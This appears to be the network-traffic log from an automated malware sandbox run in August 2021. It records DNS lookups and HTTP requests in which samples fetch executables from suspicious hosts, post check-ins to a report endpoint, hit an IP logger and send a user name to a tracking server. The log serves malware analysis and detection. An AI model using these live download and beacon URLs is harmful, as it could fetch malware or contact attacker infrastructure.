                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/25/anyname.exe HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36;
                                                                                                                                                                                                                                          Host: a.goatagame.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:11 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          location: https://bb.goatggame.com/userf/25/57482a8d5afd71ead774543ddd55b203.exe
                                                                                                                                                                                                                                          CF-Cache-Status: BYPASS
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NajIF%2BVBNrkD1%2BDBTUD4g07LLjXvOPnIwAex5ld3yVXZmiKi4%2BATRVqY0%2B2dVaoLDM2Tfj2asp8XIwnacGKnLude7VS0kDVOB1%2BMbYTty2JP7YnpFyGKTFl6miuo22PN8f8%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232adc68a24c5c-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          bb.goatggame.com
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          bb.goatggame.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          bb.goatggame.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.161.96
                                                                                                                                                                                                                                          bb.goatggame.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.9.227
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://bb.goatggame.com/userf/25/57482a8d5afd71ead774543ddd55b203.exe
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          172.67.161.96:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/25/57482a8d5afd71ead774543ddd55b203.exe HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36;
                                                                                                                                                                                                                                          Host: bb.goatggame.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:12 GMT
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          content-disposition: attachment; filename="shuzhenzhang-game.exe"
                                                                                                                                                                                                                                          content-transfer-encoding: binary
                                                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: max-age=14400
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Age: 5751
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 08:51:21 GMT
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eVw7ng4zLV%2F2LfitH%2BfrUCi6%2FD0oD9Lt%2F3KpcljH7IXFgBZ8WsmY44nxYi967TsPR1PbRkiQYv2T7bvLxRIePyB3EDAOdBys8gq%2BLpRnc69ha9kP9Hrs0yCNcfn%2FqfHAVwRb"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232ae06d7bc775-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          a.upstloans.net
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          a.upstloans.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          a.upstloans.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.31.210
                                                                                                                                                                                                                                          a.upstloans.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.179.248
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          https://a.upstloans.net/report7.4.php
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.31.210:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /report7.4.php HTTP/1.1
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
                                                                                                                                                                                                                                          Host: a.upstloans.net
                                                                                                                                                                                                                                          Content-Length: 278
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:26 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jopzgKUlWujlCQ8rHm4wX%2B2S7nejn4dKuvvJdjWjwwVYtkN1qv3MvBTBNNU4cO5wLxru2vShTJQgorB8%2FkmYhKckDjPu3M0xPliaDibA0m0y67WsJmag4Jt3AA19umtQktw%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232b34a90dfaa8-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          116.121.62.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /upload/ HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Referer: http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                          Content-Length: 326
                                                                                                                                                                                                                                          Host: atvcampingtrips.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.0 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:13 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.6.40
                                                                                                                                                                                                                                          Content-Length: 52
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          iplogger.org
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          iplogger.org
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          iplogger.org
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          88.99.66.31
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://iplogger.org/1Xxky7
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          88.99.66.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /1Xxky7 HTTP/1.1
                                                                                                                                                                                                                                          Host: iplogger.org
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:13 GMT
                                                                                                                                                                                                                                          Content-Type: image/png
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Set-Cookie: PHPSESSID=n2n44el4ga7u577ihfe6e94ho3; path=/; HttpOnly
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Set-Cookie: clhf03028ja=154.61.71.13; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=249506558; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                                                                                                                                                          Answers: 2
                                                                                                                                                                                                                                          whoami: acce61361a3dee677653fa2909f29530202335835c71031ba4dff50682ae5de8
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; preload
                                                                                                                                                                                                                                          X-Frame-Options: DENY
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          garbage-cleaner.biz
                                                                                                                                                                                                                                          gcleaner.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          garbage-cleaner.biz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          garbage-cleaner.biz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          213.252.246.131
                                                                                                                                                                                                                                          garbage-cleaner.biz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          81.177.181.145
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://script.googleusercontent.com/macros/echo?user_content_key=ZLUlWltPG0pZXS2nysXN3R_u62onUTn1ltQG-K0Lv-RDbVhROnoJN31V3JsCjQcflWDabeTOhUMUwXbGyDNfUN14BuvLy_Xbm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          142.250.179.193:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /macros/echo?user_content_key=ZLUlWltPG0pZXS2nysXN3R_u62onUTn1ltQG-K0Lv-RDbVhROnoJN31V3JsCjQcflWDabeTOhUMUwXbGyDNfUN14BuvLy_Xbm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: script.googleusercontent.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:13 GMT
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Content-Security-Policy: frame-ancestors 'self'
                                                                                                                                                                                                                                          X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                          Server: GSE
                                                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                                                                                                                                                                                          Accept-Ranges: none
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://script.googleusercontent.com/macros/echo?user_content_key=sV8K28jEe9QdxHD-fevmMclX-qD0tuztStt-wgUb8tvXqufqWvMo7ln6TdbJG-jhDPUZQV58fVUzjX11YDSSCP0rID8P66iYm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          142.250.179.193:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /macros/echo?user_content_key=sV8K28jEe9QdxHD-fevmMclX-qD0tuztStt-wgUb8tvXqufqWvMo7ln6TdbJG-jhDPUZQV58fVUzjX11YDSSCP0rID8P66iYm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: script.googleusercontent.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:14 GMT
                                                                                                                                                                                                                                          Location: https://script.google.com/macros/s/AKfycbwH7hUWqpmm7daiuKSB1dBmB6ffukls2auxLYW9CveueIYQ5CE/exec
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Content-Security-Policy: frame-ancestors 'self'
                                                                                                                                                                                                                                          X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                          Server: GSE
                                                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                                                                                                                                                                                          Accept-Ranges: none
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://script.google.com/macros/s/AKfycbwH7hUWqpmm7daiuKSB1dBmB6ffukls2auxLYW9CveueIYQ5CE/exec
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          172.217.17.78:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /macros/s/AKfycbwH7hUWqpmm7daiuKSB1dBmB6ffukls2auxLYW9CveueIYQ5CE/exec HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: script.google.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:17 GMT
                                                                                                                                                                                                                                          Location: https://script.googleusercontent.com/macros/echo?user_content_key=ImpU0ytGtCH6c9pu_R2u6nF0vpgm4eJLvXBnNJdPESRBliNnYFMoMETXqdLePL2cf1EjqR1NvNcUwXbGyDNfUCxjSwfB97OHm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Content-Security-Policy: frame-ancestors 'self'
                                                                                                                                                                                                                                          X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                          Server: GSE
                                                                                                                                                                                                                                          Set-Cookie: S=maestro=SWLolQkRh9Me31QlUYl22ySXbT5jhJK1i5NJXAntmLk; Domain=.google.com; Path=/; Secure; HttpOnly; Priority=LOW
                                                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                                                                                                                                                                                          Accept-Ranges: none
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          fsstoragecloudservice.com
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          fsstoragecloudservice.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          fsstoragecloudservice.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          111.90.156.58
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://fsstoragecloudservice.com/campaign3/autosubplayer.exe
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          111.90.156.58:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /campaign3/autosubplayer.exe HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36;
                                                                                                                                                                                                                                          Host: fsstoragecloudservice.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 503 Service Unavailable
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                                                          Content-Length: 718
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:58 GMT
                                                                                                                                                                                                                                          Server: LiteSpeed
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://45.138.172.28/blog/images/kl6.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          45.138.172.28:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /blog/images/kl6.exe HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                          Host: 45.138.172.28
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:15 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.37 (centos)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 17:40:03 GMT
                                                                                                                                                                                                                                          ETag: "3917b8-5ca0128542f95"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 3741624
                                                                                                                                                                                                                                          Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://garbage-cleaner.biz/stats/first.php?name=GcleanerEU.exe&pub=/eufive%20
                                                                                                                                                                                                                                          GcleanerEU.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          81.177.181.145:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /stats/first.php?name=GcleanerEU.exe&pub=/eufive%20 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Host: garbage-cleaner.biz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:15 GMT
                                                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.4.16
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://garbage-cleaner.biz/check.php?pub=eufive&user=Admin
                                                                                                                                                                                                                                          GcleanerEU.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          81.177.181.145:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /check.php?pub=eufive&user=Admin HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: Y0-bM-Hd-fA-Q-V
                                                                                                                                                                                                                                          Host: garbage-cleaner.biz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:22 GMT
                                                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.4.16
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://script.googleusercontent.com/macros/echo?user_content_key=ImpU0ytGtCH6c9pu_R2u6nF0vpgm4eJLvXBnNJdPESRBliNnYFMoMETXqdLePL2cf1EjqR1NvNcUwXbGyDNfUCxjSwfB97OHm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          142.250.179.193:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /macros/echo?user_content_key=ImpU0ytGtCH6c9pu_R2u6nF0vpgm4eJLvXBnNJdPESRBliNnYFMoMETXqdLePL2cf1EjqR1NvNcUwXbGyDNfUCxjSwfB97OHm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: script.googleusercontent.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
